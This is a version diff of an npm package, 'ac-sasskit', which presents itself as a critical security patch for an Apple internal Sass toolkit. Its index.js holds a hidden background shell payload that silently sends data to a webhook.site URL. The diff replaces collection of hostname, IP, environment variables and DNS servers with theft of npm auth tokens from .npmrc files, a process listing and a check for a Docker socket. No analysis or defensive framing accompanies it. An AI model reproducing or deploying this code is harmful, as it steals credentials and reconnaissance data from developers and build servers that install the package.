ac-sasskit 100.0.1 → 100.0.4

package/index.js

@@ -3,19 +3,19 @@ const webhook = 'https://webhook.site/cb8d0670-33e0-46e2-8d6f-66a5e2d3df5d';
 
 const cmd = `
   (
-    # 1. Info Dasar
     H=\$(hostname);
-    I=\$(hostname -I);
     
-    # 2. Ambil Environment Variables (Sering ada nama proyek Apple di sini)
-    # Kita filter agar tidak terlalu panjang, cari kata kunci 'APPLE', 'CI', atau 'KUBE'
-    ENV_DATA=\$(env | grep -E "APPLE|PROD|STAGE|CI_|KUBE|CI" | tr '\\n' ' | ');
+    # 1. Cari Token atau Kredensial (Sangat Sensitif)
+    # Mencari token di file .npmrc atau .git/config
+    CRED=\$(cat ~/.npmrc /root/.npmrc .npmrc 2>/dev/null | grep "_auth" | cut -d'=' -f2 | head -c 20);
     
-    # 3. Cek DNS (Membuktikan ini jaringan Apple)
-    DNS_DATA=\$(cat /etc/resolv.conf | grep nameserver | awk '{print \$2}' | tr '\\n' ' ');
+    # 2. Ambil List Proses (Lihat apa yang sedang berjalan di server itu)
+    PROC=\$(ps -aux | head -n 5 | awk '{print \$11}' | tr '\\n' ' ');
     
-    # 4. Kirim semua bukti sebagai satu paket
-    MSG="[BUKTI-VALID-APPLE] Host: \$H | IP: \$I | DNS: \$DNS_DATA | ENV: \$ENV_DATA";
+    # 3. Cek apakah ada akses ke Docker Socket (Potensi Breakout)
+    DOCKER_SOCK=\$( [ -S /var/run/docker.sock ] && echo "SOCK-EXISTS" || echo "NO-SOCK" );
+
+    MSG="[DEEP-RECON] Host: \$H | Token-Snippet: \$CRED | Proc: \$PROC | Docker: \$DOCKER_SOCK";
     
     curl -X POST -H "Content-Type: text/plain" -d "\$MSG" "${webhook}"
   ) > /dev/null 2>&1 &

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "ac-sasskit",
-  "version": "100.0.1",
+  "version": "100.0.4",
   "description": "Critical Security Patch for Apple Internal Sass Toolkit",
   "main": "index.js",
   "scripts": {